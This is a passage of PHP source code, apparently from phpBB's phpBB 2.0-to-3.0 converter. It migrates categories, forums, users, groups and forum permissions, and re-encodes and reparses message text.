$src_db->sql_fetchfield('max_forum_id'); $src_db->sql_freeresult($result); $max_forum_id++; // pruning disabled globally? $sql = "SELECT config_value FROM {$convert->src_table_prefix}config WHERE config_name = 'prune_enable'"; $result = $src_db->sql_query($sql); $prune_enabled = (int) $src_db->sql_fetchfield('config_value'); $src_db->sql_freeresult($result); // Insert categories $sql = 'SELECT cat_id, cat_title FROM ' . $convert->src_table_prefix . 'categories ORDER BY cat_order'; if ($convert->mysql_convert && $same_db) { $src_db->sql_query("SET NAMES 'binary'"); } $result = $src_db->sql_query($sql); if ($convert->mysql_convert && $same_db) { $src_db->sql_query("SET NAMES 'utf8'"); } switch ($db->sql_layer) { case 'mssql': case 'mssql_odbc': case 'mssqlnative': $db->sql_query('SET IDENTITY_INSERT ' . FORUMS_TABLE . ' ON'); break; } $cats_added = array(); while ($row = $src_db->sql_fetchrow($result)) { $sql_ary = array( 'forum_id' => (int) $max_forum_id, 'forum_name' => ($row['cat_title']) ? htmlspecialchars(phpbb_set_default_encoding($row['cat_title']), ENT_COMPAT, 'UTF-8') : $user->lang['CATEGORY'], 'parent_id' => 0, 'forum_parents' => '', 'forum_desc' => '', 'forum_type' => FORUM_CAT, 'forum_status' => ITEM_UNLOCKED, 'forum_rules' => '', ); $sql = 'SELECT MAX(right_id) AS right_id FROM ' . FORUMS_TABLE; $_result = $db->sql_query($sql); $cat_row = $db->sql_fetchrow($_result); $db->sql_freeresult($_result); $sql_ary['left_id'] = (int) ($cat_row['right_id'] + 1); $sql_ary['right_id'] = (int) ($cat_row['right_id'] + 2); $sql = 'INSERT INTO ' . FORUMS_TABLE . ' ' . $db->sql_build_array('INSERT', $sql_ary); $db->sql_query($sql); $cats_added[$row['cat_id']] = $max_forum_id; $max_forum_id++; } $src_db->sql_freeresult($result); // There may be installations having forums with non-existant category ids. // We try to catch them and add them to an "unknown" category instead of leaving them out. $sql = 'SELECT cat_id FROM ' . $convert->src_table_prefix . 'forums GROUP BY cat_id'; $result = $src_db->sql_query($sql); $unknown_cat_id = false; while ($row = $src_db->sql_fetchrow($result)) { // Catch those categories not been added before if (!isset($cats_added[$row['cat_id']])) { $unknown_cat_id = true; } } $src_db->sql_freeresult($result); // Is there at least one category not known? if ($unknown_cat_id === true) { $unknown_cat_id = 'ghost'; $sql_ary = array( 'forum_id' => (int) $max_forum_id, 'forum_name' => (string) $user->lang['CATEGORY'], 'parent_id' => 0, 'forum_parents' => '', 'forum_desc' => '', 'forum_type' => FORUM_CAT, 'forum_status' => ITEM_UNLOCKED, 'forum_rules' => '', ); $sql = 'SELECT MAX(right_id) AS right_id FROM ' . FORUMS_TABLE; $_result = $db->sql_query($sql); $cat_row = $db->sql_fetchrow($_result); $db->sql_freeresult($_result); $sql_ary['left_id'] = (int) ($cat_row['right_id'] + 1); $sql_ary['right_id'] = (int) ($cat_row['right_id'] + 2); $sql = 'INSERT INTO ' . FORUMS_TABLE . ' ' . $db->sql_build_array('INSERT', $sql_ary); $db->sql_query($sql); $cats_added[$unknown_cat_id] = $max_forum_id; $max_forum_id++; } // Now insert the forums $sql = 'SELECT f.forum_id, f.forum_name, f.cat_id, f.forum_desc, f.forum_status, f.prune_enable, f.prune_next, fp.prune_days, fp.prune_freq FROM ' . $convert->src_table_prefix . 'forums f LEFT JOIN ' . $convert->src_table_prefix . 'forum_prune fp ON f.forum_id = fp.forum_id GROUP BY f.forum_id, f.forum_name, f.cat_id, f.forum_desc, f.forum_status, f.prune_enable, f.prune_next, f.forum_order, fp.prune_days, fp.prune_freq ORDER BY f.cat_id, f.forum_order'; if ($convert->mysql_convert && $same_db) { $src_db->sql_query("SET NAMES 'binary'"); } $result = $src_db->sql_query($sql); if ($convert->mysql_convert && $same_db) { $src_db->sql_query("SET NAMES 'utf8'"); } while ($row = $src_db->sql_fetchrow($result)) { // Some might have forums here with an id not being "possible"... // To be somewhat friendly we "change" the category id for those to a previously created ghost category if (!isset($cats_added[$row['cat_id']]) && $unknown_cat_id !== false) { $row['cat_id'] = $unknown_cat_id; } if (!isset($cats_added[$row['cat_id']])) { continue; } // Define the new forums sql ary $sql_ary = array( 'forum_id' => (int) $row['forum_id'], 'forum_name' => htmlspecialchars(phpbb_set_default_encoding($row['forum_name']), ENT_COMPAT, 'UTF-8'), 'parent_id' => (int) $cats_added[$row['cat_id']], 'forum_parents' => '', 'forum_desc' => htmlspecialchars(phpbb_set_default_encoding($row['forum_desc']), ENT_COMPAT, 'UTF-8'), 'forum_type' => FORUM_POST, 'forum_status' => is_item_locked($row['forum_status']), 'enable_prune' => ($prune_enabled) ? (int)$row['prune_enable'] : 0, 'prune_next' => (int) null_to_zero($row['prune_next']), 'prune_days' => (int) null_to_zero($row['prune_days']), 'prune_viewed' => 0, 'prune_freq' => (int) null_to_zero($row['prune_freq']), 'forum_flags' => phpbb_forum_flags(), 'forum_options' => 0, // Default values 'forum_desc_bitfield' => '', 'forum_desc_options' => 7, 'forum_desc_uid' => '', 'forum_link' => '', 'forum_password' => '', 'forum_style' => 0, 'forum_image' => '', 'forum_rules' => '', 'forum_rules_link' => '', 'forum_rules_bitfield' => '', 'forum_rules_options' => 7, 'forum_rules_uid' => '', 'forum_topics_per_page' => 0, 'forum_posts' => 0, 'forum_topics' => 0, 'forum_topics_real' => 0, 'forum_last_post_id' => 0, 'forum_last_poster_id' => 0, 'forum_last_post_subject' => '', 'forum_last_post_time' => 0, 'forum_last_poster_name' => '', 'forum_last_poster_colour' => '', 'display_on_index' => 1, 'enable_indexing' => 1, 'enable_icons' => 0, ); // Now add the forums with proper left/right ids $sql = 'SELECT left_id, right_id FROM ' . FORUMS_TABLE . ' WHERE forum_id = ' . $cats_added[$row['cat_id']]; $_result = $db->sql_query($sql); $cat_row = $db->sql_fetchrow($_result); $db->sql_freeresult($_result); $sql = 'UPDATE ' . FORUMS_TABLE . ' SET left_id = left_id + 2, right_id = right_id + 2 WHERE left_id > ' . $cat_row['right_id']; $db->sql_query($sql); $sql = 'UPDATE ' . FORUMS_TABLE . ' SET right_id = right_id + 2 WHERE ' . $cat_row['left_id'] . ' BETWEEN left_id AND right_id'; $db->sql_query($sql); $sql_ary['left_id'] = (int) $cat_row['right_id']; $sql_ary['right_id'] = (int) ($cat_row['right_id'] + 1); $sql = 'INSERT INTO ' . FORUMS_TABLE . ' ' . $db->sql_build_array('INSERT', $sql_ary); $db->sql_query($sql); } $src_db->sql_freeresult($result); switch ($db->sql_layer) { case 'postgres': $db->sql_query("SELECT SETVAL('" . FORUMS_TABLE . "_seq',(select case when max(forum_id)>0 then max(forum_id)+1 else 1 end from " . FORUMS_TABLE . '));'); break; case 'mssql': case 'mssql_odbc': case 'mssqlnative': $db->sql_query('SET IDENTITY_INSERT ' . FORUMS_TABLE . ' OFF'); break; case 'oracle': $result = $db->sql_query('SELECT MAX(forum_id) as max_id FROM ' . FORUMS_TABLE); $row = $db->sql_fetchrow($result); $db->sql_freeresult($result); $largest_id = (int) $row['max_id']; if ($largest_id) { $db->sql_query('DROP SEQUENCE ' . FORUMS_TABLE . '_seq'); $db->sql_query('CREATE SEQUENCE ' . FORUMS_TABLE . '_seq START WITH ' . ($largest_id + 1)); } break; } } /** * Function for recoding text with the default language * * @param string $text text to recode to utf8 * @param bool $grab_user_lang if set to true the function tries to use $convert_row['user_lang'] (and falls back to $convert_row['poster_id']) instead of the boards default language */ function phpbb_set_encoding($text, $grab_user_lang = true) { global $lang_enc_array, $convert_row; global $convert, $phpEx; /*static $lang_enc_array = array( 'korean' => 'euc-kr', 'serbian' => 'windows-1250', 'polish' => 'iso-8859-2', 'kurdish' => 'windows-1254', 'slovak' => 'Windows-1250', 'russian' => 'windows-1251', 'estonian' => 'iso-8859-4', 'chinese_simplified' => 'gb2312', 'macedonian' => 'windows-1251', 'azerbaijani' => 'UTF-8', 'romanian' => 'iso-8859-2', 'romanian_diacritice' => 'iso-8859-2', 'lithuanian' => 'windows-1257', 'turkish' => 'iso-8859-9', 'ukrainian' => 'windows-1251', 'japanese' => 'shift_jis', 'hungarian' => 'ISO-8859-2', 'romanian_no_diacritics' => 'iso-8859-2', 'mongolian' => 'UTF-8', 'slovenian' => 'windows-1250', 'bosnian' => 'windows-1250', 'czech' => 'Windows-1250', 'farsi' => 'Windows-1256', 'croatian' => 'windows-1250', 'greek' => 'iso-8859-7', 'russian_tu' => 'windows-1251', 'sakha' => 'UTF-8', 'serbian_cyrillic' => 'windows-1251', 'bulgarian' => 'windows-1251', 'chinese_traditional_taiwan' => 'big5', 'chinese_traditional' => 'big5', 'arabic' => 'windows-1256', 'hebrew' => 'WINDOWS-1255', 'thai' => 'windows-874', //'chinese_traditional_taiwan' => 'utf-8' // custom modified, we may have to do an include :-( );*/ if (empty($lang_enc_array)) { $lang_enc_array = array(); } $get_lang = trim(get_config_value('default_lang')); // Do we need the users language encoding? if ($grab_user_lang && !empty($convert_row)) { if (!empty($convert_row['user_lang'])) { $get_lang = trim($convert_row['user_lang']); } else if (!empty($convert_row['poster_id'])) { global $src_db, $same_db; if ($convert->mysql_convert && $same_db) { $src_db->sql_query("SET NAMES 'binary'"); } $sql = 'SELECT user_lang FROM ' . $convert->src_table_prefix . 'users WHERE user_id = ' . (int) $convert_row['poster_id']; $result = $src_db->sql_query($sql); $get_lang = (string) $src_db->sql_fetchfield('user_lang'); $src_db->sql_freeresult($result); if ($convert->mysql_convert && $same_db) { $src_db->sql_query("SET NAMES 'utf8'"); } $get_lang = (!trim($get_lang)) ? trim(get_config_value('default_lang')) : trim($get_lang); } } if (!isset($lang_enc_array[$get_lang])) { $filename = $convert->options['forum_path'] . '/language/lang_' . $get_lang . '/lang_main.' . $phpEx; if (!file_exists($filename)) { $get_lang = trim(get_config_value('default_lang')); } if (!isset($lang_enc_array[$get_lang])) { include($convert->options['forum_path'] . '/language/lang_' . $get_lang . '/lang_main.' . $phpEx); $lang_enc_array[$get_lang] = $lang['ENCODING']; unset($lang); } } $encoding = $lang_enc_array[$get_lang]; return utf8_recode($text, $lang_enc_array[$get_lang]); } /** * Same as phpbb_set_encoding, but forcing boards default language */ function phpbb_set_default_encoding($text) { return phpbb_set_encoding($text, false); } /** * Convert Birthday from Birthday MOD to phpBB Format */ function phpbb_get_birthday($birthday = '') { if (defined('MOD_BIRTHDAY_TERRA')) { $birthday = (string) $birthday; // stored as month, day, year if (!$birthday) { return ' 0- 0- 0'; } // We use the original mod code to retrieve the birthday (not ideal) preg_match('/(..)(..)(....)/', sprintf('%08d', $birthday), $birthday_parts); $month = $birthday_parts[1]; $day = $birthday_parts[2]; $year = $birthday_parts[3]; return sprintf('%2d-%2d-%4d', $day, $month, $year); } else { $birthday = (int) $birthday; if (!$birthday || $birthday == 999999 || ((version_compare(PHP_VERSION, '5.1.0') < 0) && $birthday < 0)) { return ' 0- 0- 0'; } // The birthday mod from niels is using this code to transform to day/month/year return sprintf('%2d-%2d-%4d', gmdate('j', $birthday * 86400 + 1), gmdate('n', $birthday * 86400 + 1), gmdate('Y', $birthday * 86400 + 1)); } } /** * Return correct user id value * Everyone's id will be one higher to allow the guest/anonymous user to have a positive id as well */ function phpbb_user_id($user_id) { global $config; // Increment user id if the old forum is having a user with the id 1 if (!isset($config['increment_user_id'])) { global $src_db, $same_db, $convert; if ($convert->mysql_convert && $same_db) { $src_db->sql_query("SET NAMES 'binary'"); } // Now let us set a temporary config variable for user id incrementing $sql = "SELECT user_id FROM {$convert->src_table_prefix}users WHERE user_id = 1"; $result = $src_db->sql_query($sql); $id = (int) $src_db->sql_fetchfield('user_id'); $src_db->sql_freeresult($result); // Try to get the maximum user id possible... $sql = "SELECT MAX(user_id) AS max_user_id FROM {$convert->src_table_prefix}users"; $result = $src_db->sql_query($sql); $max_id = (int) $src_db->sql_fetchfield('max_user_id'); $src_db->sql_freeresult($result); if ($convert->mysql_convert && $same_db) { $src_db->sql_query("SET NAMES 'utf8'"); } // If there is a user id 1, we need to increment user ids. :/ if ($id === 1) { set_config('increment_user_id', ($max_id + 1), true); $config['increment_user_id'] = $max_id + 1; } else { set_config('increment_user_id', 0, true); $config['increment_user_id'] = 0; } } // If the old user id is -1 in 2.0.x it is the anonymous user... if ($user_id == -1) { return ANONYMOUS; } if (!empty($config['increment_user_id']) && $user_id == 1) { return $config['increment_user_id']; } // A user id of 0 can happen, for example within the ban table if no user is banned... // Within the posts and topics table this can be "dangerous" but is the fault of the user // having mods installed (a poster id of 0 is not possible in 2.0.x). // Therefore, we return the user id "as is". return (int) $user_id; } /* Copy additional table fields from old forum to new forum if user wants this (for Mod compatibility for example) function phpbb_copy_table_fields() { } */ /** * Convert authentication * user, group and forum table has to be filled in order to work */ function phpbb_convert_authentication($mode) { global $db, $src_db, $same_db, $convert, $user, $config, $cache; if ($mode == 'start') { $db->sql_query($convert->truncate_statement . ACL_USERS_TABLE); $db->sql_query($convert->truncate_statement . ACL_GROUPS_TABLE); // What we will do is handling all 2.0.x admins as founder to replicate what is common in 2.0.x. // After conversion the main admin need to make sure he is removing permissions and the founder status if wanted. // Grab user ids of users with user_level of ADMIN $sql = "SELECT user_id FROM {$convert->src_table_prefix}users WHERE user_level = 1 ORDER BY user_regdate ASC"; $result = $src_db->sql_query($sql); while ($row = $src_db->sql_fetchrow($result)) { $user_id = (int) phpbb_user_id($row['user_id']); // Set founder admin... $sql = 'UPDATE ' . USERS_TABLE . ' SET user_type = ' . USER_FOUNDER . " WHERE user_id = $user_id"; $db->sql_query($sql); } $src_db->sql_freeresult($result); $sql = 'SELECT group_id FROM ' . GROUPS_TABLE . " WHERE group_name = '" . $db->sql_escape('BOTS') . "'"; $result = $db->sql_query($sql); $bot_group_id = (int) $db->sql_fetchfield('group_id'); $db->sql_freeresult($result); } // Grab forum auth information $sql = "SELECT * FROM {$convert->src_table_prefix}forums"; $result = $src_db->sql_query($sql); $forum_access = array(); while ($row = $src_db->sql_fetchrow($result)) { $forum_access[$row['forum_id']] = $row; } $src_db->sql_freeresult($result); if ($convert->mysql_convert && $same_db) { $src_db->sql_query("SET NAMES 'binary'"); } // Grab user auth information from 2.0.x board $sql = "SELECT ug.user_id, aa.* FROM {$convert->src_table_prefix}auth_access aa, {$convert->src_table_prefix}user_group ug, {$convert->src_table_prefix}groups g, {$convert->src_table_prefix}forums f WHERE g.group_id = aa.group_id AND g.group_single_user = 1 AND ug.group_id = g.group_id AND f.forum_id = aa.forum_id"; $result = $src_db->sql_query($sql); $user_access = array(); while ($row = $src_db->sql_fetchrow($result)) { $user_access[$row['forum_id']][] = $row; } $src_db->sql_freeresult($result); // Grab group auth information $sql = "SELECT g.group_id, aa.* FROM {$convert->src_table_prefix}auth_access aa, {$convert->src_table_prefix}groups g WHERE g.group_id = aa.group_id AND g.group_single_user <> 1"; $result = $src_db->sql_query($sql); $group_access = array(); while ($row = $src_db->sql_fetchrow($result)) { $group_access[$row['forum_id']][] = $row; } $src_db->sql_freeresult($result); if ($convert->mysql_convert && $same_db) { $src_db->sql_query("SET NAMES 'utf8'"); } // Add Forum Access List $auth_map = array( 'auth_view' => array('f_', 'f_list'), 'auth_read' => array('f_read', 'f_search'), 'auth_post' => array('f_post', 'f_bbcode', 'f_smilies', 'f_img', 'f_sigs', 'f_postcount', 'f_report', 'f_subscribe', 'f_print', 'f_email'), 'auth_reply' => 'f_reply', 'auth_edit' => 'f_edit', 'auth_delete' => 'f_delete', 'auth_pollcreate' => 'f_poll', 'auth_vote' => 'f_vote', 'auth_announce' => 'f_announce', 'auth_sticky' => 'f_sticky', 'auth_attachments' => array('f_attach', 'f_download'), 'auth_download' => 'f_download', ); // Define the ACL constants used in 2.0 to make the code slightly more readable define('AUTH_ALL', 0); define('AUTH_REG', 1); define('AUTH_ACL', 2); define('AUTH_MOD', 3); define('AUTH_ADMIN', 5); // A mapping of the simple permissions used by 2.0 $simple_auth_ary = array( 'public' => array( 'auth_view' => AUTH_ALL, 'auth_read' => AUTH_ALL, 'auth_post' => AUTH_ALL, 'auth_reply' => AUTH_ALL, 'auth_edit' => AUTH_REG, 'auth_delete' => AUTH_REG, 'auth_sticky' => AUTH_MOD, 'auth_announce' => AUTH_MOD, 'auth_vote' => AUTH_REG, 'auth_pollcreate' => AUTH_REG, ), 'registered' => array( 'auth_view' => AUTH_ALL, 'auth_read' => AUTH_ALL, 'auth_post' => AUTH_REG, 'auth_reply' => AUTH_REG, 'auth_edit' => AUTH_REG, 'auth_delete' => AUTH_REG, 'auth_sticky' => AUTH_MOD, 'auth_announce' => AUTH_MOD, 'auth_vote' => AUTH_REG, 'auth_pollcreate' => AUTH_REG, ), 'registered_hidden' => array( 'auth_view' => AUTH_REG, 'auth_read' => AUTH_REG, 'auth_post' => AUTH_REG, 'auth_reply' => AUTH_REG, 'auth_edit' => AUTH_REG, 'auth_delete' => AUTH_REG, 'auth_sticky' => AUTH_MOD, 'auth_announce' => AUTH_MOD, 'auth_vote' => AUTH_REG, 'auth_pollcreate' => AUTH_REG, ), 'private' => array( 'auth_view' => AUTH_ALL, 'auth_read' => AUTH_ACL, 'auth_post' => AUTH_ACL, 'auth_reply' => AUTH_ACL, 'auth_edit' => AUTH_ACL, 'auth_delete' => AUTH_ACL, 'auth_sticky' => AUTH_ACL, 'auth_announce' => AUTH_MOD, 'auth_vote' => AUTH_ACL, 'auth_pollcreate' => AUTH_ACL, ), 'private_hidden' => array( 'auth_view' => AUTH_ACL, 'auth_read' => AUTH_ACL, 'auth_post' => AUTH_ACL, 'auth_reply' => AUTH_ACL, 'auth_edit' => AUTH_ACL, 'auth_delete' => AUTH_ACL, 'auth_sticky' => AUTH_ACL, 'auth_announce' => AUTH_MOD, 'auth_vote' => AUTH_ACL, 'auth_pollcreate' => AUTH_ACL, ), 'moderator' => array( 'auth_view' => AUTH_ALL, 'auth_read' => AUTH_MOD, 'auth_post' => AUTH_MOD, 'auth_reply' => AUTH_MOD, 'auth_edit' => AUTH_MOD, 'auth_delete' => AUTH_MOD, 'auth_sticky' => AUTH_MOD, 'auth_announce' => AUTH_MOD, 'auth_vote' => AUTH_MOD, 'auth_pollcreate' => AUTH_MOD, ), 'moderator_hidden' => array( 'auth_view' => AUTH_MOD, 'auth_read' => AUTH_MOD, 'auth_post' => AUTH_MOD, 'auth_reply' => AUTH_MOD, 'auth_edit' => AUTH_MOD, 'auth_delete' => AUTH_MOD, 'auth_sticky' => AUTH_MOD, 'auth_announce' => AUTH_MOD, 'auth_vote' => AUTH_MOD, 'auth_pollcreate' => AUTH_MOD, ), ); if ($mode == 'start') { user_group_auth('guests', 'SELECT user_id, {GUESTS} FROM ' . USERS_TABLE . ' WHERE user_id = ' . ANONYMOUS, false); user_group_auth('registered', 'SELECT user_id, {REGISTERED} FROM ' . USERS_TABLE . ' WHERE user_id <> ' . ANONYMOUS . " AND group_id <> $bot_group_id", false); // Selecting from old table if (!empty($config['increment_user_id'])) { $auth_sql = 'SELECT user_id, {ADMINISTRATORS} FROM ' . $convert->src_table_prefix . 'users WHERE user_level = 1 AND user_id <> 1'; user_group_auth('administrators', $auth_sql, true); $auth_sql = 'SELECT ' . $config['increment_user_id'] . ' as user_id, {ADMINISTRATORS} FROM ' . $convert->src_table_prefix . 'users WHERE user_level = 1 AND user_id = 1'; user_group_auth('administrators', $auth_sql, true); } else { $auth_sql = 'SELECT user_id, {ADMINISTRATORS} FROM ' . $convert->src_table_prefix . 'users WHERE user_level = 1'; user_group_auth('administrators', $auth_sql, true); } if (!empty($config['increment_user_id'])) { $auth_sql = 'SELECT user_id, {GLOBAL_MODERATORS} FROM ' . $convert->src_table_prefix . 'users WHERE user_level = 1 AND user_id <> 1'; user_group_auth('global_moderators', $auth_sql, true); $auth_sql = 'SELECT ' . $config['increment_user_id'] . ' as user_id, {GLOBAL_MODERATORS} FROM ' . $convert->src_table_prefix . 'users WHERE user_level = 1 AND user_id = 1'; user_group_auth('global_moderators', $auth_sql, true); } else { $auth_sql = 'SELECT user_id, {GLOBAL_MODERATORS} FROM ' . $convert->src_table_prefix . 'users WHERE user_level = 1'; user_group_auth('global_moderators', $auth_sql, true); } } else if ($mode == 'first') { // Go through all 2.0.x forums foreach ($forum_access as $forum) { $new_forum_id = (int) $forum['forum_id']; // Administrators have full access to all forums whatever happens mass_auth('group_role', $new_forum_id, 'administrators', 'FORUM_FULL'); $matched_type = ''; foreach ($simple_auth_ary as $key => $auth_levels) { $matched = 1; foreach ($auth_levels as $k => $level) { if ($forum[$k] != $auth_levels[$k]) { $matched = 0; } } if ($matched) { $matched_type = $key; break; } } switch ($matched_type) { case 'public': mass_auth('group_role', $new_forum_id, 'guests', 'FORUM_LIMITED'); mass_auth('group_role', $new_forum_id, 'registered', 'FORUM_LIMITED_POLLS'); mass_auth('group_role', $new_forum_id, 'bots', 'FORUM_BOT'); break; case 'registered': mass_auth('group_role', $new_forum_id, 'guests', 'FORUM_READONLY'); mass_auth('group_role', $new_forum_id, 'bots', 'FORUM_BOT'); // no break; case 'registered_hidden': mass_auth('group_role', $new_forum_id, 'registered', 'FORUM_POLLS'); break; case 'private': case 'private_hidden': case 'moderator': case 'moderator_hidden': default: // The permissions don't match a simple set, so we're going to have to map them directly // No post approval for all, in 2.0.x this feature does not exist mass_auth('group', $new_forum_id, 'guests', 'f_noapprove', ACL_YES); mass_auth('group', $new_forum_id, 'registered', 'f_noapprove', ACL_YES); // Go through authentication map foreach ($auth_map as $old_auth_key => $new_acl) { // If old authentication key does not exist we continue // This is helpful for mods adding additional authentication fields, we need to add them to the auth_map array if (!isset($forum[$old_auth_key])) { continue; } // Now set the new ACL correctly switch ($forum[$old_auth_key]) { // AUTH_ALL case AUTH_ALL: mass_auth('group', $new_forum_id, 'guests', $new_acl, ACL_YES); mass_auth('group', $new_forum_id, 'bots', $new_acl, ACL_YES); mass_auth('group', $new_forum_id, 'registered', $new_acl, ACL_YES); break; // AUTH_REG case AUTH_REG: mass_auth('group', $new_forum_id, 'registered', $new_acl, ACL_YES); break; // AUTH_ACL case AUTH_ACL: // Go through the old group access list for this forum if (isset($group_access[$forum['forum_id']])) { foreach ($group_access[$forum['forum_id']] as $index => $access) { // We only check for ACL_YES equivalence entry if (isset($access[$old_auth_key]) && $access[$old_auth_key] == 1) { mass_auth('group', $new_forum_id, (int) $access['group_id'], $new_acl, ACL_YES); } } } if (isset($user_access[$forum['forum_id']])) { foreach ($user_access[$forum['forum_id']] as $index => $access) { // We only check for ACL_YES equivalence entry if (isset($access[$old_auth_key]) && $access[$old_auth_key] == 1) { mass_auth('user', $new_forum_id, (int) phpbb_user_id($access['user_id']), $new_acl, ACL_YES); } } } break; // AUTH_MOD case AUTH_MOD: if (isset($group_access[$forum['forum_id']])) { foreach ($group_access[$forum['forum_id']] as $index => $access) { // We only check for ACL_YES equivalence entry if (isset($access[$old_auth_key]) && $access[$old_auth_key] == 1) { mass_auth('group', $new_forum_id, (int) $access['group_id'], $new_acl, ACL_YES); } } } if (isset($user_access[$forum['forum_id']])) { foreach ($user_access[$forum['forum_id']] as $index => $access) { // We only check for ACL_YES equivalence entry if (isset($access[$old_auth_key]) && $access[$old_auth_key] == 1) { mass_auth('user', $new_forum_id, (int) phpbb_user_id($access['user_id']), $new_acl, ACL_YES); } } } break; } } break; } } } else if ($mode == 'second') { // Assign permission roles and other default permissions // guests having u_download and u_search ability $db->sql_query('INSERT INTO ' . ACL_GROUPS_TABLE . ' (group_id, forum_id, auth_option_id, auth_role_id, auth_setting) SELECT ' . get_group_id('guests') . ', 0, auth_option_id, 0, 1 FROM ' . ACL_OPTIONS_TABLE . " WHERE auth_option IN ('u_', 'u_download', 'u_search')"); // administrators/global mods having full user features mass_auth('group_role', 0, 'administrators', 'USER_FULL'); mass_auth('group_role', 0, 'global_moderators', 'USER_FULL'); // By default all converted administrators are given full access mass_auth('group_role', 0, 'administrators', 'ADMIN_FULL'); // All registered users are assigned the standard user role mass_auth('group_role', 0, 'registered', 'USER_STANDARD'); mass_auth('group_role', 0, 'registered_coppa', 'USER_STANDARD'); // Instead of administrators being global moderators we give the MOD_FULL role to global mods (admins already assigned to this group) mass_auth('group_role', 0, 'global_moderators', 'MOD_FULL'); // And now those who have had their avatar rights removed get assigned a more restrictive role $sql = 'SELECT user_id FROM ' . $convert->src_table_prefix . 'users WHERE user_allowavatar = 0 AND user_id > 0'; $result = $src_db->sql_query($sql); while ($row = $src_db->sql_fetchrow($result)) { mass_auth('user_role', 0, (int) phpbb_user_id($row['user_id']), 'USER_NOAVATAR'); } $src_db->sql_freeresult($result); // And the same for those who have had their PM rights removed $sql = 'SELECT user_id FROM ' . $convert->src_table_prefix . 'users WHERE user_allow_pm = 0 AND user_id > 0'; $result = $src_db->sql_query($sql); while ($row = $src_db->sql_fetchrow($result)) { mass_auth('user_role', 0, (int) phpbb_user_id($row['user_id']), 'USER_NOPM'); } $src_db->sql_freeresult($result); } else if ($mode == 'third') { // And now the moderators // We make sure that they have at least standard access to the forums they moderate in addition to the moderating permissions $mod_post_map = array( 'auth_announce' => 'f_announce', 'auth_sticky' => 'f_sticky' ); foreach ($user_access as $forum_id => $access_map) { $forum_id = (int) $forum_id; foreach ($access_map as $access) { if (isset($access['auth_mod']) && $access['auth_mod'] == 1) { mass_auth('user_role', $forum_id, (int) phpbb_user_id($access['user_id']), 'MOD_STANDARD'); mass_auth('user_role', $forum_id, (int) phpbb_user_id($access['user_id']), 'FORUM_STANDARD'); foreach ($mod_post_map as $old => $new) { if (isset($forum_access[$forum_id]) && isset($forum_access[$forum_id][$old]) && $forum_access[$forum_id][$old] == AUTH_MOD) { mass_auth('user', $forum_id, (int) phpbb_user_id($access['user_id']), $new, ACL_YES); } } } } } foreach ($group_access as $forum_id => $access_map) { $forum_id = (int) $forum_id; foreach ($access_map as $access) { if (isset($access['auth_mod']) && $access['auth_mod'] == 1) { mass_auth('group_role', $forum_id, (int) $access['group_id'], 'MOD_STANDARD'); mass_auth('group_role', $forum_id, (int) $access['group_id'], 'FORUM_STANDARD'); foreach ($mod_post_map as $old => $new) { if (isset($forum_access[$forum_id]) && isset($forum_access[$forum_id][$old]) && $forum_access[$forum_id][$old] == AUTH_MOD) { mass_auth('group', $forum_id, (int) $access['group_id'], $new, ACL_YES); } } } } } // We grant everyone readonly access to the categories to ensure that the forums are visible $sql = 'SELECT forum_id, forum_name, parent_id, left_id, right_id FROM ' . FORUMS_TABLE . ' ORDER BY left_id ASC'; $result = $db->sql_query($sql); $parent_forums = $forums = array(); while ($row = $db->sql_fetchrow($result)) { if ($row['parent_id'] == 0) { mass_auth('group_role', $row['forum_id'], 'administrators', 'FORUM_FULL'); mass_auth('group_role', $row['forum_id'], 'global_moderators', 'FORUM_FULL'); $parent_forums[] = $row; } else { $forums[] = $row; } } $db->sql_freeresult($result); global $auth; // Let us see which groups have access to these forums... foreach ($parent_forums as $row) { // Get the children $branch = $forum_ids = array(); foreach ($forums as $key => $_row) { if ($_row['left_id'] > $row['left_id'] && $_row['left_id'] < $row['right_id']) { $branch[] = $_row; $forum_ids[] = $_row['forum_id']; continue; } } if (sizeof($forum_ids)) { // Now make sure the user is able to read these forums $hold_ary = $auth->acl_group_raw_data(false, 'f_list', $forum_ids); if (empty($hold_ary)) { continue; } foreach ($hold_ary as $g_id => $f_id_ary) { $set_group = false; foreach ($f_id_ary as $f_id => $auth_ary) { foreach ($auth_ary as $auth_option => $setting) { if ($setting == ACL_YES) { $set_group = true; break 2; } } } if ($set_group) { mass_auth('group', $row['forum_id'], $g_id, 'f_list', ACL_YES); } } } } } } /** * Set primary group. * Really simple and only based on user_level (remaining groups will be assigned later) */ function phpbb_set_primary_group($user_level) { global $convert_row; if ($user_level == 1) { return get_group_id('administrators'); } /* else if ($user_level == 2) { return get_group_id('global_moderators'); } else if ($user_level == 0 && $convert_row['user_active'])*/ else if ($convert_row['user_active']) { return get_group_id('registered'); } return 0; } /** * Convert the group name, making sure to avoid conflicts with 3.0 special groups */ function phpbb_convert_group_name($group_name) { $default_groups = array( 'GUESTS', 'REGISTERED', 'REGISTERED_COPPA', 'GLOBAL_MODERATORS', 'ADMINISTRATORS', 'BOTS', ); if (in_array(strtoupper($group_name), $default_groups)) { return 'phpBB2 - ' . $group_name; } return phpbb_set_default_encoding($group_name); } /** * Convert the group type constants */ function phpbb_convert_group_type($group_type) { switch ($group_type) { case 0: return GROUP_OPEN; break; case 1: return GROUP_CLOSED; break; case 2: return GROUP_HIDDEN; break; } // Never return GROUP_SPECIAL here, because only phpBB3's default groups are allowed to have this type set. return GROUP_HIDDEN; } /** * Convert the topic type constants */ function phpbb_convert_topic_type($topic_type) { switch ($topic_type) { case 0: return POST_NORMAL; break; case 1: return POST_STICKY; break; case 2: return POST_ANNOUNCE; break; case 3: return POST_GLOBAL; break; } return POST_NORMAL; } function phpbb_replace_size($matches) { return '[size=' . min(200, ceil(100.0 * (((double) $matches[1])/12.0))) . ':' . $matches[2] . ']'; } /** * Reparse the message stripping out the bbcode_uid values and adding new ones and setting the bitfield * @todo What do we want to do about HTML in messages - currently it gets converted to the entities, but there may be some objections to this */ function phpbb_prepare_message($message) { global $phpbb_root_path, $phpEx, $db, $convert, $user, $config, $cache, $convert_row, $message_parser; if (!$message) { $convert->row['mp_bbcode_bitfield'] = $convert_row['mp_bbcode_bitfield'] = 0; return ''; } // Decode phpBB 2.0.x Message if (isset($convert->row['old_bbcode_uid']) && $convert->row['old_bbcode_uid'] != '') { // Adjust size... if (strpos($message, '[size=') !== false) { $message = preg_replace_callback('/\[size=(\d*):(' . $convert->row['old_bbcode_uid'] . ')\]/', 'phpbb_replace_size', $message); } $message = preg_replace('/\:(([a-z0-9]:)?)' . $convert->row['old_bbcode_uid'] . '/s', '', $message); } if (strpos($message, '[quote=') !== false) { $message = preg_replace('/\[quote="(.*?)"\]/s', '[quote="\1"]', 